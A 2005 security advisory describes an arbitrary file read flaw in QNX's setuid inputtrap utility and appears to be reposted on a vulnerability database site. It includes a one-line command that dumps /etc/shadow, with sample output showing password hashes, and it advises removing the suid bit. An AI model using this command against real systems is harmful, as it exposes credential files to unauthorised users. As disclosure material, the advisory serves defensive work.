` *** rfdslabs security advisory ***
Title: QNX inputtrap arbitrary file read vulnerability [RLSA_01-2005]
Versions: QNX RTOS 6.3, 6.1.0 (possibly others)
Vendor: http://www.qnx.com
Date: Feb 22 2005
Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>
1. Introduction
inputtrap is a utility designed to detect and start input manager in QNX.
2. Details
inputtrap has a '-t' flag to specify the trap file to be read. Due to impro-
per permissions checking, we have administrative access to read files anywhere
in the disk in addition with 'start' flag.
The following simple command will show us /etc/shadow:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table
PS: This "design error" problem is similar to an old Debian 1.1 DOSEmu vulnera-
bility, back in 1999. And it was, surely, erradicated in crucial programs
of most operating systems.
3. Solution
No official solution yet. We suggest remove inputtrap suid bit or change its
permissions to a trusted group of users until QNX doesn't release an official
patch.
4. Timeline
22 Feb 2005: Vulnerability detected (in a very very boring day, ill at home);
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.
Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV), Despise, gotfault.org and everyone at rfdslabs.
www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation